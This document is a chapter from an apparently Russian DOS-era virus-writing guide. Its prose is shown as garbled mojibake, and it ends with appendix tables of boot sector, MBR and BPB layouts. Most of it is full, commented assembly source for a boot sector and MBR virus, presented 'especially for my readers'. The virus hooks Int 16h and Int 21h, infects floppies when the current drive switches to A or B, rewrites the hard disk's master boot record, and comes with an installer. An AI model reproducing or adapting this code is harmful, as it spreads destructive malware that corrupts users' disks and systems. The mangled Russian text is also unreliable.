
              6 .   BOOT - 


             6.1 ⪨ ⮣ ।饩 

    ⠪, த.  楫 -   㧮
    , ᬮ  ࠦ ᪥   
    WINDOWS.  ᤥ  祭 .
    ᫨   뢠    ।饩   
    ᢮  (  , 祣  -
     ),   㦨  䥪. 
     㧪 設 ᭠砫 㦠 VC.COM 
    NC.EXE,   WINDOWS   室, " F10 " 
    멤  窨. 祭  ⠪    뢠 -
    ᫥  窨  ⮫쪮 㤠,  -
          ,    
    祭 宣 FAR. , ࠡ  窥
      ⫨筮  ࠦ  ᪥.   
    " F10 "   ३   WINDOWS.  ⥯  - 
    WINDOWS ᭮  VC.    ࠭,
     ⠫ ࠡ.   ࠦ ᪥, 
      ᨤ  .  맢    
    ,  १㧨 .  .
    騥 " ᬥ " ⠪    ᤠ.
    ⮬, ⮯     㤠   讬
    ⢥ ,ਬ  .


           6.2 塞 祭 १

     楫  稭 ᠭ    ஢
      ⮪ ᯥਬ⮢,   , 稫
     १.  ,   -
      Int 13h.  ࠧ,   ࠢ-
     ⮫쪮  맮 ⮣ 뢠. ,
        ⥭ ᪥  ࠡ  WIN-
    DOWS Int 13h     뢠.   ⮣
    樮  ⥬ 頥    "  "
    뢠,  ।⢥   -
    ஫஬  ᪮.⮬     -
    ࠦ ᪥.
    ***
        ,   ࠡ  ⪨ -
        WINDOWS   뢠 Int 13h,  ᫥-
         ஢ ஬ ᯥਬ⮢.
    ***
     ࠧ,    ⮤  
    , ᪮॥ ᥣ,  㤠. 室 ᮢ-
    襭  室.   ⮬ -  ᫥饬 㭪-
    .


       6.3 ࠡ뢠   ⨢樨

     ᥣ ᪠,  室   .
    㤭 ।  -   . 뫨 -
    㬠 ᪮쪮 ⮤,      -
    ⥫쭮 १.    -
    稫 祭 ᢮ࠧ ।-  Int 13h
    ᯮ짮  ⨢樨  Int 21h.  -
     , 祬     墠 Int 21h, 
     ஡ ᫥  ᬥ ⥪饣 ᪠
    (㭪 0Eh).   ⮫쪮 ⨢ ⠭ ᪮-
     " A "  " B ", ࠧ   ⮬ ᪮-
    !!!    ᮬ (  Danny Dio,   
     - ୮ ).   த.


           6.4  墠 Int 21h ணࠬ,
            㦠  Master Boot Record

        - ⠫  墠  Int 21h, 
     襭.   ᭨,    ⠪ -
    . ⢥ 뫮  㯨 ⠪ :

     1.     ⠭    Int 1Ch 
        Int 08h (  - ⠩ )  ᮡ⢥  -
        稪.
     2.  ࠡ稪 ᫥   ஬ Int 21h, 
         ⮫쪮 ᫥   -  墠-
         Int 21h.
     3.   ࠡ稪 Int 1Ch (Int 08h) " -
         "  ᥡ    , ਬ,  
        "IRET", ⮡ 設  ᠫ.

      뫮 ᤥ, ᫥ 祣 砫 ᠬ  -
    ᭮. ࠡ稪 Int 21h  ࠢ  믮
    ᪮쪮 ᥪ㭤,᫥ 祣   ᮢ⭮ ⮯-
     -    MSDOS.SYS,    COMMAND.COM -  -
    . ⮡   ⮣  䥪,   ਤ-
      ᯮᮡ - ਬ,    ࢮ -
        Int 21h, , ਬ,  쥣,
    ⮣  ..   ࠭, 祣   -
    . ⢥ ⮤   ⠪:

     1. ⫮ ,  OC 㦥 㦥   -
        稭 믮 ணࠬ, ᠭ,  -
        ਬ,  AUTOEXEC.BAT.
     2. 墠 Int 21h.

    ஡     ᫥饬:  ᮢ襭  ᭮,
        ⥫ . ஬
    ⮣,⠪ ⮤ ⮦   ⮯業⭮ ࠭-
    ⨨. ⮬  諮 ⪫,   
    । , 㦤   ᫥-
    饬 㭪.


             6.5  ਬ  Int 16h

     , ୮, , 뢠 Int  16h  -
      ணࠬ   뢠, ਬ,  -
    ⥬ ࠡ稪 Int 09h (  ),  ⠪-
       뢠  ணࠬ    믮
     ⢨,ਬ, ⥭ ᨬ  -
    , 祭  䫠  ..   ⮬  
      ⥫ ᢮⢮,   -
    짮⥫᪨ ࠡ稪 Int 16h  ⠯-
     WINDOWS  㧪, 뢠   WORD,
    EXCEL  FAR. ,  ஢ ஬ ᯥ-
    ,  ⨨  SHIFT 㧮 ᥪ
    ᪥ 뢠     뢠  .
    ⭠ ணࠬ 㦠  MBR   ࠡ⠫ 
      WINDOWS - ਫ.  䠪 襭 -
      ᯮ짮   ஥ " ⮯塞 "
    楤 ࠡ⪨ Int 21h. ⠪, । ⠪
    :

      1. ⠭   Int 16h    -
         稪.
      2.   ࠡ稪 ﭭ 뢠  
         楤 Int 21h  -  ᪮
         ᮡ⢥  㭪樥, ⨯ AX = 0BABCh.
      3. ᫨ ᭠ 楤 ࠡ⪨ Int 21h -
         ⨢,   " ⢥ "    맮
         (   㤥 AL = 98h ).
         ᫨ ⢥ , ࠡ稪 Int 21h   -
           ⮯, ⮬  Int 21h  ᫥
         墠.

      ᮢᥬ ,   ⮦   ᮬ. -
     ࠡ⪨ Int 16h  Int 21h  ,-
    , ⠪:

    ***
        ࠡ稪 Int 16h:

    new_16h:   push ax                ;࠭
               push bx                ;ॣ
               push dx                ;
               push ds                ;⥪
               push es                ;
               pushf                  ;
                                      ;
               mov ax,0babch          ;맮 
               int 21h                ;ࠡ稪
               cmp al,98h             ;Int 21h ᮡ-
               je cs:rrr_rrr          ; 㭪樥
                                      ;AX = 0babch.᫨
                                      ;ࠡ稪 -
                                      ;,  
                                      ; AL=98h,
                                      ; Int 21h
                                      ;᫥ 墠-
                                      ;, 祬  
                                      ;:
               push cs                ;DS = CS
               pop ds                 ;
                                      ;
               cli                    ; -
                                      ;
               mov ax,3521h           ;稬  -
               int 21h                ; 
               mov old_21h - 100h,bx  ;Int 21h
               mov old_21h_2 - 100h,es;
                                      ;
               mov ax,2521h           ; ⥯ -
               mov dx,to_new_21h      ;⠢  -
               int 21h                ;  
                                      ;ࠡ稪
               sti                    ; -
                                      ;
    rrr_rrr:   popf                   ;⠭
               pop es                 ;
               pop ds                 ;⥪
               pop dx                 ;ॣ
               pop bx                 ;
               pop ax                 ;
                                      ;
               db 0eah                ; ३ 
    old_16h    dw 0                   ;⥬ -
    old_16h_2  dw 0                   ;稪 Int 16h

    ***
        ࠡ稪 Int 21h ( ᫥ ᬥ
       ஬ ⥪饣 ᪠.᫨ ⥪騬 ⠭-
          "A"  "B", ࠡ稪 ࠦ 
       ):

    new_21h:   pushf                  ; ⮪
               cmp ax,0babch          ;ࠡ稪
               jne cs:else_func       ;Int 21h ⢥砥
               mov al,98h             ;ࠡ稪
               popf                   ;Int 16h 祭-
               iret                   ; AL = 98h; 
                                      ;㦨 ਧ
                                      ;⨢ -
                                      ;᭮ 楤
                                      ;ࠡ⪨
                                      ;Int 21h
                                      ;
    else_func: popf                   ;࠭
               push ax                ;ॣ
               push bx                ;
               push cx                ;⥪
               push dx                ;
               push di                ;
               push ds                ;
               push es                ;
               pushf                  ;
                                      ;
               cmp ah,0eh             ; ⥪饣
                                      ;᪠ ?
               jne cs:restore_regs    ; -  室
               cmp dl,1               ; - ⥪騬
                                      ; ᤥ
                                      ;" A "  " B "
                                      ;᪮ ?
               ja cs:restore_regs     ; -  室
                                      ; - த-
                                      ; :
    ; ᫥ " ࠧ "  楤  -
    ;⪨ Int 21h :

    ;   ...
    ;   ...
    ;   ...
    ;   ...
    ;   ...

    restore_regs:                     ;⠭ 
               popf                   ;⥪ ॣ
               pop es                 ;
               pop ds                 ;
               pop di                 ;
               pop dx                 ;
               pop cx                 ;
               pop bx                 ;
               pop ax                 ;
                                      ;
               db 0eah                ; ३ 
    old_21h    dw 0                   ;⥬ -
    old_21h_2  dw 0                   ;稪 Int 21h

    த ,    ᭮.稭,  ன
      ⭮⥫ ᮢ 祥   ⭨
    100h, ᠭ   1,  2, 㭪 2.5.

    ***
      ,ᯮ짮   砥 Int 09h -
       Int 16h .   ⮬,   㧪
      WINDOWS ⮯  짮⥫᪨ ணࠬ,-
       " 楯 "   .  
        稩 KEYRUS.COM,  㦥  -
       .


              6.6 騩  ࠡ 

     ⠫ ६ ᮧ  ࠡ -
     , 祬   .
      ०,   砫쭮  㧪 設
        0000:7C00h,   믮-
     ⠪ ⢨:

    1. ⠭ ॣ SS  SP  ᮡ⢥ ⥪
    2. " १ "  ⥬ ᪮쪮 ⮢ -
        (  㦥 뢠,  " ᪮쪮 "-
        ? ).
    3. ९ ᢮   祭  
    4. । ࠢ ᫥饩 ᥪ樨 ᢮ -
       , 㦥 ᯮ   ᭮ .

     ᥪ,  ᢮ ।,  :

    1. ८।  뢠 Int 16h  -
        .
    2.  騩  㧮 ᥪ   
         0000:7C00h.
    3. ஢, ࠦ -  . ᫨ , 
       ࠧ  MBR.
    4. । ࠢ 饬 㧮筮 -
       , 室饬   0000:7C00h.

     믮 㧪 樮 ⥬.
     ࠡ稪 Int 16h, 뫮 ᪠ ,
    ᫥  ﭨ ࠡ稪 Int 21h,   -
    墠뢠  뢠,᫨   -  -
    稭 ᭠ 楤 ࠡ⪨ Int 21h  -
    .    ࠡ ஡ ᠭ   ।-
    饬 㭪.
      㦥 ," ࠧ " 㭪樨  
     ࠡ稪  뢠 Int 21h.  ⮬,   
    㤥 ॠ, ⮦ 뫮 ᪠ .


             6.7  ⥪ ᮧ 

      , ⠥ ⮫쪮  - " ᫥ "
      襩 ࠧ ࠧࠡ⪨   楫 
    ਢ 祭 १:

    ; _______________________________________________
    ;|                                               |
    ;| The next BOOT & MBR virus                     |
    ;| Especially for my readers !                   |
    ;|_______________________________________________|

    prg segment
         assume cs:prg,ds:prg,es:prg,ss:prg
               org 100h

    my_prg:    jmp installer          ;室  ᥪ-
                                      ; ⠫樨
               dw 7bfeh               ;⠭ ᮡ-
                                      ;⢥ ⥪
                                      ;
               push cs                ;DS = CS
               pop ds                 ;
                                      ;
    sub word ptr ds:[0413h],2         ;"०"  DOS
               mov ax,ds:[0413h]      ; 
               mov cl,6               ;  -
                                      ;
               sal ax,cl              ;ᥣ -
                                      ;, ஬
                                      ;室 -
                                      ;祭 
               mov es,ax              ;⨬ 
                                      ; ES
               xor si,si              ; ᪮㥬 
               mov cx,prg_lenght      ; 
    prg_copy:  db 8ah                 ;"prg_lenght" 
               db 9ch                 ;  -
    additor    db 00h                 ; ES : 0000h
               db 7ch                 ;   -
               mov byte ptr es:[si],bl;㧪 頥-
               inc si                 ; BIOS  -
               loop cs:prg_copy       ; 0000:7C00h
                                      ;
               push ax                ;襬  ⥪
               mov ax,to_read_boot    ; ES:to_re-
               push ax                ;ad_boot  -
               db 0cbh                ;⢨ 室
                                      ;  
    to_read_boot   equ   $ - my_prg   ;
                                      ;
    read_boot: push cs                ;DS = CS
               pop ds                 ;
                                      ;
               xor si,si              ;SI = 0
               mov es,si              ;ES = SI
                                      ;
    ;*************************************************
    mov bx,word ptr es:[58h]          ;稬 
    mov word ptr old_16h - 100h,bx    ;Int 16h 
    mov bx,word ptr es:[5ah]          ;࠭
    mov word ptr old_16h_2 - 100h,bx  ;
                                      ;
    mov word ptr es:[58h],to_new_16h  ;⠭
    mov word ptr es:[5ah],cs          ; Int 16h
                                      ;  -
                                      ;ࠡ稪
                                      ;
               mov dx,num_head - 100h ;⠥ -
               mov cx,cyl_sect - 100h ;騩 㧮
               mov bx,7c00h           ;ᥪ  
               mov ax,0201h           ; 
               int 13h                ;0000:7C00h
                                      ;
               push cs                ;ES = CS
               pop es                 ;
                                      ;
               mov dl,80h             ;⠥ MBR
               call cs:read_mbr       ;
               jc cs:to_quit          ; 
                                      ;CS:0400h, -
                                      ;祬 㧪
                                      ;ᥩ 
                                      ;ந
                                      ;  ᪥ !
    cmp byte ptr ds:[400h],0eh        ;MBR 㦥 -
               je cs:to_quit          ; ?  - 
                                      ;室,  -
                                      ;த :
               mov dx,0080h           ;㫥 
                                      ;ࢮ ⪮-
                                      ; ᪠
               mov cx,000ch           ; 12,
                                      ;஦ 0.
                                      ;࠭ 
                                      ;ࠬ .
               call cs:write_mbr_last ;஬ ⮣,
                                      ;९襬 -
                                      ; MBR 
                                      ;ᥪ 12
               jc cs:to_quit          ;㫥 ஦
                                      ; 㫥 -
                                      ;஭ HDD 1.
               xor si,si              ;ନ㥬 
               mov additor - 100h,00h ;  
               mov cx,prg_lenght      ;
    copy_vir_mbr:                     ;  室-
               mov al,byte ptr ds:[si]; MBR
    mov byte ptr ds:[si + 400h],al    ;
               inc si                 ;
               loop cs:copy_vir_mbr   ;
                                      ;
               mov dx,0080h           ;襬 
               call cs:write_mbr      ;  
                                      ;ᥪ 㫥
                                      ;஦ 㫥
                                      ;஭ -
                                      ;
                                      ;
    to_quit:   db   0eah              ;⤠ -
               dw   7c00h             ; -
               dw   0000h             ;饩 㧮筮
                                      ; ( MBR )
                                      ;
    ;*************************************************
    ;
    ; 稭  ࠡ稪 Int 16h. 
    ; ᯮ , ⮡ ᫥  ﭨ
    ;᭮ ࠡ稪 Int 21h   室
    ;墠뢠 Int 21h.

    to_new_16h equ   $ - my_prg       ;
                                      ;
    new_16h:   push ax                ;࠭
               push bx                ;ॣ
               push dx                ;
               push ds                ;⥪
               push es                ;
               pushf                  ;
                                      ;
               mov ax,0babch          ;맮 -
               int 21h                ; ࠡ稪
               cmp al,98h             ;Int 21h ᮡ-
               je cs:rrr_rrr          ; 㭪樥
                                      ;AX = 0babch.-
                                      ; ࠡ稪
                                      ;⨢, -
                                      ; 
                                      ;AL=98h, 
                                      ;Int 21h ᫥
                                      ;墠,祬
                                      ;  :
               push cs                ;DS = CS
               pop ds                 ;
                                      ;
               cli                    ; -
                                      ;뢠
               mov ax,3521h           ;稬  -
               int 21h                ;࠭ 
               mov old_21h - 100h,bx  ;Int 21h
               mov old_21h_2 - 100h,es;
                                      ;
               mov ax,2521h           ; ⥯ -
               mov dx,to_new_21h      ;⠢  -
               int 21h                ;  -
                                      ; ࠡ稪
               sti                    ; -
                                      ;뢠
    rrr_rrr:   popf                   ;⠭
               pop es                 ;
               pop ds                 ;⥪
               pop dx                 ;ॣ
               pop bx                 ;
               pop ax                 ;
                                      ;
               db 0eah                ; ३ 
    old_16h    dw 0                   ;⥬ -
    old_16h_2  dw 0                   ;稪 Int 16h
    ;-------------------------------------------------
    ;
    ; 稭  ࠡ稪 Int 21h. 
    ;᫥ ᬥ ஬ ⥪饣 ᪠. ᫨
    ;⥪騬 ⠭  " A "  " B ", ࠡ-
    ;稪 ࠦ  

    to_new_21h equ   $ - my_prg

    new_21h:   pushf                  ; ⮪
               cmp ax,0babch          ;ࠡ稪
               jne cs:else_func       ;Int 21h ⢥-
               mov al,98h             ; ࠡ稪
               popf                   ;Int 16h -
               iret                   ; AL = 98h;
                                      ; 㦨 -
                                      ; ⨢-
                                      ; ࠡ稪
                                      ;Int 21h
                                      ;
    else_func: popf                   ;࠭
               push ax                ;ॣ
               push bx                ;
               push cx                ;⥪
               push dx                ;
               push di                ;
               push ds                ;
               push es                ;
               pushf                  ;
                                      ;
               cmp ah,0eh             ; ⥪饣
                                      ;᪠ ?
               jne cs:to_jump         ; -  室
               cmp dl,1               ; - ⥪騬
                                      ; ᤥ
                                      ;" A "  " B "
                                      ;᪮ ?
               ja cs:to_jump          ; -  室
                                      ; - த-
                                      ; :
               push cs                ;ES = CS
               pop es                 ;
                                      ;
               push cs                ;DS = CS
               pop ds                 ;
                                      ;
               mov cx,3               ;஡㥬 -
    next_read: push cx                ; BOOT -
                                      ;ᥪ ᪥.
               call cs:read_mbr       ;   
               pop cx                 ;⪨ (-
               jnc cs:inf_check       ;,᫨ -
                                      ;⥫ ᪮
                                      ; ᯥ ࠧ-
                                      ;  -
                                      ;祩 ᪮,
                                      ; BIOS ୥
                                      ;訡 -᪥
                                      ;ᬥ ! )
               xor ah,ah              ; 訡 -
               int 13h                ;᪮
               jc cs:to_jump          ; ਬ
               loop cs:next_read      ;⥭
    to_jump:   jmp cs:restore_regs    ;
                                      ;
                                      ;BOOT ࠦ ?
    inf_check: cmp byte ptr ds:[455h],0eh
               je cs:to_jump          ; !
    cmp word ptr ds:[40bh],200h       ;512  
                                      ;ᥪ ?
               jne cs:restore_regs    ; -  室
                                      ;
               mov ch,79              ;।
               mov dh,byte ptr ds:[415h]
               cmp dh,0f0h            ;ࠬ
               je cs:real_80          ;᪥
               cmp dh,0f9h            ; 
               je cs:real_80          ;Media
               cmp dh,0fdh            ;Descryptor
               jne cs:to_jump         ;
               mov ch,39              ;
    real_80:   mov dh,01h             ;
               mov cl,byte ptr ds:[418h]
                                      ;९襬 -
                                      ;騩 BOOT 
                                      ;᫥ ᥪ-
                                      ; ᫥
                                      ;஦  -
                                      ; ஭
               call cs:write_mbr_last ;
               jc cs:to_jump          ;
                                      ;
               mov additor - 100h,055h;ନ㥬 ,
               xor di,di              ; 㦭
               mov cx,prg_lenght      ; 
    copy_vir:  mov al,byte ptr ds:[di];᪥ 
    mov byte ptr ds:[di + 455h],al    ;室 BOOT -
               inc di                 ;
               loop cs:copy_vir       ;
    mov word ptr ds:[400h],053ebh     ;
                                      ;
               xor dh,dh              ; 襬 
               call cs:write_mbr      ; 
                                      ;ᥪ 㫥
                                      ;஦ 㫥
                                      ;஭ ᪥
                                      ;
    restore_regs:                     ;⠭ 
               popf                   ;⥪ ॣ
               pop es                 ;
               pop ds                 ;
               pop di                 ;
               pop dx                 ;
               pop cx                 ;
               pop bx                 ;
               pop ax                 ;
                                      ;
               db 0eah                ; ३ 
    old_21h    dw 0                   ;⥬ -
    old_21h_2  dw 0                   ;稪 Int 21h

    read_mbr   proc                   ;
               xor dh,dh              ;
               mov ax,0201h           ;楤
               mov bx,400h            ;⠥ 
               mov cx,01h             ;ᥪ 㫥
               int 13h                ;஦ 㫥
                                      ;஭ 㪠-
               ret                    ; ⥫
    read_mbr   endp                   ;
                                      ;
    write_mbr  proc                   ;
               mov ax,0301h           ;楤
               mov cx,01h             ;頥 -
               int 13h                ;   BOOT-
                                      ;ᥪ ᪥
               ret                    ; 뢠
    write_mbr  endp                   ;  MBR
                                      ;
                                      ;
    write_mbr_last proc               ;楤
                                      ;९뢠
                                      ;室 BOOT-
                                      ;  MBR
                                      ; 
                                      ;ᥪ -
                                      ; ᪠
               push dx                ;᫨ ࠦ
               cmp dl,01h             ;  ᪮-
               jne cs:not_correct     ; "B", ᫥
               xor dl,dl              ;㫨 
    not_correct:                      ;⥫ 
               mov num_head - 100h,dx ;祩
               pop dx                 ;"num_head",-
               mov cyl_sect - 100h,cx ; 設 
                                      ;㤥 㦠-
                                      ;  ⠪
                                      ;᪠.
               mov ax,0301h           ;⠫쭮,-
               int 13h                ;, ᭮.
               ret                    ;
    write_mbr_last endp               ;
                                      ;
    vir_name   db   ''                ;ਤ㬠 -
                                      ;,   
                                      ;  !
    num_head   dw   0                 ; 
    cyl_sect   dw   0                 ;࠭ 
                                      ;,஦
                                      ; ᥪ , 
                                      ; -
                                      ;ᠭ 
                                      ;㧮筠
                                      ;
                                      ;ࠦ
                                      ;᪠

               prg_lenght   equ   $ - my_prg

    ;-------------------------------------------------
    ;
    ; 稭 ᥪ ⠫樨 

    installer: lea si,my_prg          ; -
               mov byte ptr [si],00eh ; 室 
    mov byte ptr [si + 1],017h        ;  -
    mov byte ptr [si + 2],0bch        ;  
                                      ;砫 
                                      ;㤥 
                                      ; : PUSH CS
                                      ;      POP  SS
                                      ;MOV SP,7BFEh.
                                      ;
               mov ax,0201h           ;஡㥬 -
               mov cx,01h             ; BOOT -
               xor dx,dx              ;ᥪ ᪥.
               lea bx,bufer           ;
               int 13h                ;
               jc error               ;
                                      ;
               push es                ;稬 -
               mov ah,08h             ; ᪥
               xor dl,dl              ;
               int 13h                ;
               jnc all_good           ;
               cmp ah,01h             ;
               jne error              ;
               mov dh,01h             ;
               mov ch,27h             ;
    mov cl,byte ptr bufer [18h]       ;
    all_good:  xor dl,dl              ;
               mov num_head,dx        ;
               mov cyl_sect,cx        ;
               pop es                 ;
                                      ;
               mov ax,0301h           ;९襬 -
               lea bx,bufer           ;騩 BOOT 
               int 13h                ;᫥ ᥪ-
               jc error               ; ᫥
                                      ;஦  -
                                      ; ஭
                                      ;
               mov additor,055h       ;ନ㥬 ,
               lea si,bufer + 55h     ; 㦭
               lea di,my_prg          ; 
               mov cx,prg_lenght      ;᪥ 
    copy_boot: mov al,byte ptr [di]   ;室 BOOT -
               mov byte ptr [si],al   ;
               inc si                 ;
               inc di                 ;
               loop copy_boot         ;
    mov word ptr bufer[0],053ebh      ;
                                      ;
               mov ax,0301h           ; 襬 
               mov cx,01h             ; 
               mov dx,0               ;ᥪ 㫥
               lea bx,bufer           ;஦ 㫥
               int 13h                ;஭ ᪥
               jnc prg_end            ;
                                      ;
    error:     mov ah,09h             ;᫨ 뫠 -
               lea dx,err_mes         ; - 뢥
               int 21h                ;ᮮ饭  
                                      ;
    prg_end:   mov ax,4c00h           ;蠥 -
               int 21h                ;᪠ -
                                      ;ࠬ
    err_mes    db   'Error !$'        ;饭
    bufer      db   512 dup ( 0 )     ;  
                                      ;뢠
                                      ;BOOT - ᥪ
                                      ;ࠦ
                                      ;᪥
    prg ends                          ;⠭⭮
    end my_prg                        ;砭 ASM-
                                      ;ணࠬ ...

      ,    ன "  "
    ணࠬ   ।饩   ਭ樯쭮 -
    묨 ࠣ⠬  ,   ᥩ -
    . ⮬     㦭   
    ,  ।  ணࠬ. -
    騥   ⠪ ᭥   
     ।饩 . ,     -
      楫 ⨫    ᥪ, ⠫
     9 ᢮ .


                   6.8 ⠭ 

     ⮤  ⠭ 㧮筮    㦥
    . ⮬   ࠧ 室   ᠬ
    ⭮ ⠯  ⢮⢥  ᮧ⥫  -
    ᮢ.  ਬ୮ ⠪:  -  WINDOWS -
     VC, NC, Turbo Pascal   -   -
    宦. ᫥ 祣 ஡ ᪮쪮 ࠧ ⠭-
     ⥪騬   ᪮. , 
     ࠦ ᪥    ᫮. -
      ந室 易⥫쭮. ।-
     ணࠬ ⠪ ﬨ   -
    .
     멤  窨 ⭮  WINDOWS  -
    , ਬ, FAR.  㢨,   FAR 
       ⨢.  ⨢   
    WORD  EXCEL.    :   -
    ࠬ  32 -  ࠧ來묨 WINDOWS - ਫ-
    ﬨ, ⮬   뢠 DOS᪨ -
    뢠 !  ⮣   ᬥ ᪠, ਬ,
    뢠 SetCurrentDisk.  ⮬   Eu-
    gene Roshal, ࠧࠡ稪 FAR. , 祣  -
    - 㦥 让 蠣 ।  ࠢ  -
    諮 ࠧࠡ⪮.


                  6.9  

    ୮, ᫥    ᮢ襭⢮-
     襩 ࠧࠡ⪨. ࢮ,  室  
    - ⥬    ᯮᮡ  墠   ,
      ⥬  뢠  SetCurrentDisk, ᫨ 
     .  ᤥ -  ᭮, ⠪
       ⠥ .
    ।  ᥫ ᠭ  -
     ᯮ짮  ⨢樨   -
     Int 16h.  ᠬ , 祬   ࠦ
    ᪨, ਬ,  ⮬ ⨨  -
     " ALT ", " SHIFT "  .. ? ࠢ, ⮤
      ᢮ ⪨,   宦
     筮 ⢮.   祭  ॠ-
    ,  ࠡ  㤥   WINDOWS - -
     ...
    ⢥, 祣   筮   ᫥ - 
         ᮢᥬ ⨣⮩  楫.
    㬠,   饣.  ᪠ 
    , "    㤥,  ᯥ⨢ - ᢥ-
     ! ".

 2

           ଠ 㧮筮   MS DOS
                    ࠧ ᨩ

    ଠ BOOT -   ᨩ MS DOS  4.0

     ________________________________________________
    |饭 | |  ন                  |
    | ( HEX ) |( DEC )|                              |
    |---------|-------|------------------------------|
    |00h      |03     | EB xx 90 室   |
    |         |       |ணࠬ 砫쭮 㧪  |
    |---------|-------|------------------------------|
    |03h      |08     |  - ந⥫|
    |         |       |  樮 ⥬  |
    |---------|-------|------------------------------|
    |0Bh      |13     | ࠬ஢ BIOS ( BPB )  |
    |---------|-------|------------------------------|
    |18h      |02     |⢮ ᥪ஢  ஦|
    |---------|-------|------------------------------|
    |1Ah      |02     |⢮ 孮⥩ ᪠ |
    |---------|-------|------------------------------|
    |1Ch      |02     |⢮  ᥪ஢,  |
    |         |       |  ᯮ   |
    |         |       | ࠧ ᪠  ࠧ|
    |---------|-------|------------------------------|
    |1Eh      |480    |ணࠬ 砫쭮 㧪, |
    |         |       |뢠 㧮筮 |
    |         |       |(Boot Record).                |
    |---------|-------|------------------------------|
    |1FEh     |02     | : 55 AA                   |
    |_________|_______|______________________________|

    ଠ BOOT -   ᨨ MS DOS 4.0

     ________________________________________________
    |饭 | |  ন                  |
    | ( HEX ) |( DEC )|                              |
    |---------|-------|------------------------------|
    |00h      |03     | EB xx 90 室   |
    |         |       |ணࠬ 砫쭮 㧪  |
    |---------|-------|------------------------------|
    |03h      |08     |  - ந⥫|
    |         |       |  樮 ⥬  |
    |---------|-------|------------------------------|
    |0Bh      |25     |७  ࠬ஢   |
    |         |       |BIOS ( EBPB )                 |
    |---------|-------|------------------------------|
    |24h      |01     |᪨  ᪮    |
    |         |       |( 00h -  ᪥⭮ ᪮- |
    |         |       |, 80h -   )  |
    |---------|-------|------------------------------|
    |25h      |01     |१ࢨ஢               |
    |---------|-------|------------------------------|
    |26h      |01     | " ) " - ਧ - |
    |         |       |७ 㧮筮      |
    |         |       |MS DOS 4.0                    |
    |_________|_______|______________________________|
    |27h      |04     |਩  ᪠,ᮧ|
    |         |       | ६  ଠ஢   |
    |---------|-------|------------------------------|
    |2Bh      |11     |⪠ ( Volume Label ) ᪠, |
    |         |       |  ६  ଠ-  |
    |         |       |஢                     |
    |---------|-------|------------------------------|
    |36h      |08     |筮 ᮤন  ⨯   |
    |         |       |" FAT 12 "      |
    |_________|_______|______________________________|
    |3Eh      |448    |ணࠬ 砫쭮 㧪, |
    |         |       |뢠 㧮筮 |
    |         |       |(Boot Record).                |
    |---------|-------|------------------------------|
    |1FEh     |02     | : 55 AA                   |
    |_________|_______|______________________________|


    ଠ Master Boot Record ( MBR ) - 
    㧮筮  ⪮ ᪠

     ________________________________________________
    |饭 | |  ন                  |
    | ( HEX ) |( DEC )|                              |
    |---------|-------|------------------------------|
    |00h      |446    |ணࠬ, 뢠         |
    |         |       | 㧮筮    |
    |         |       |(MBR,  Master Boot Record).|
    |---------|-------|------------------------------|
    |1BEh     |16     | ⠡ ࠧ ᪠|
    |---------|-------|------------------------------|
    |1CEh     |16     | ⠡ ࠧ ᪠|
    |---------|-------|------------------------------|
    |1DEh     |16     | ⠡ ࠧ ᪠|
    |---------|-------|------------------------------|
    |1EEh     |16     | ⠡ ࠧ ᪠|
    |---------|-------|------------------------------|
    |1FEh     |02     | : 55 AA                   |
    |_________|_______|______________________________|


    ଠ BPB  ᨩ MS DOS  4.0

     ________________________________________________
    |饭 | |  ন                  |
    | ( HEX ) |( DEC )|                              |
    |---------|-------|------------------------------|
    |00h      |02     |⢮ ⮢             |
    |         |       |  ᥪ ᪠         |
    |---------|-------|------------------------------|
    |02h      |01     |⢮ ᥪ஢           |
    |         |       |                |
    |---------|-------|------------------------------|
    |03h      |02     |⢮ १ࢨ஢  |
    |         |       |ᥪ஢                      |
    |---------|-------|------------------------------|
    |05h      |01     |⢮  FAT          |
    |---------|-------|------------------------------|
    |06h      |02     |ᨬ쭮 ⢮ -  |
    |         |       |ਯ஢ 䠩, ᮤঠ|
    |         |       | ୥ ⠫ ᪠     |
    |---------|-------|------------------------------|
    |08h      |02     |饥 ⢮ ᥪ஢   |
    |         |       |⥫   ࠧ DOS |
    |_________|_______|______________________________|
    |0Ah      |01     | - ⥫ । -  |
    |         |       |⥫                    |
    |---------|-------|------------------------------|
    |0Bh      |02     |⢮ ᥪ஢,|
    |         |       |  FAT              |
    |_________|_______|______________________________|


    ଠ EBPB

     ________________________________________________
    |饭 | |  ন                  |
    | ( HEX ) |( DEC )|                              |
    |---------|-------|------------------------------|
    |00h      |02     |⢮ ⮢             |
    |         |       |  ᥪ ᪠         |
    |---------|-------|------------------------------|
    |02h      |01     |⢮ ᥪ஢           |
    |         |       |                |
    |---------|-------|------------------------------|
    |03h      |02     |⢮ १ࢨ஢  |
    |         |       |ᥪ஢                      |
    |---------|-------|------------------------------|
    |05h      |01     |⢮  FAT          |
    |---------|-------|------------------------------|
    |06h      |02     |ᨬ쭮 ⢮ -  |
    |         |       |ਯ஢ 䠩, ᮤঠ|
    |         |       | ୥ ⠫ ᪠     |
    |---------|-------|------------------------------|
    |08h      |02     |饥 ⢮ ᥪ஢   |
    |         |       |⥫   ࠧ DOS |
    |_________|_______|______________________________|
    |0Ah      |01     | - ⥫ । -  |
    |         |       |⥫                    |
    |---------|-------|------------------------------|
    |0Bh      |02     |⢮ ᥪ஢,|
    |         |       |  FAT              |
    |_________|_______|______________________________|
    |0Dh      |02     |⢮ ᥪ஢           |
    |         |       | ஦                    |
    |---------|-------|------------------------------|
    |0Fh      |02     |⢮  ⥫ |
    |---------|-------|------------------------------|
    |11h      |02     |⢮  ᥪ஢   |
    |         |       | ࠧ,  ࠧ|
    |         |       | 32 -          |
    |---------|-------|------------------------------|
    |13h      |02     |⢮  ᥪ஢   |
    |         |       | ࠧ,  ࠧ|
    |         |       |ॢ蠥 32         |
    |         |       |( ᯮ ⮫쪮        |
    |         |       |MS DOS 4.0 )                  |
    |---------|-------|------------------------------|
    |15h      |04     |饥 ⢮ ᥪ஢   |
    |         |       |᪮ ᪥  ࠧ, |
    |         |       |  ࠧ ॢ蠥  |
    |         |       |32                   |
    |_________|_______|______________________________|

    ࠬ ᪥ ࠧ ⨯
    (  ⠡  諨   ᮢᥬ  ᪥-
      ꥬ 320 Kb, 180 Kb, 120 Kb  㣨 ) :

     ________________________________________________
    |   |      |      |      |       |        |
    |᪠     | 3.5" | 3.5" | 3.5" | 5.25" | 5.25 " |
    |----------|------|------|------|-------|--------|
    |   |      |      |      |       |        |
    |᪠, Kb | 2880 | 1440 | 720  | 1200  | 360    |
    |----------|------|------|------|-------|--------|
    |Media     |      |      |      |       |        |
    |Descryptor| F0h  | F0h  | F9h  | F9h   | FDh    |
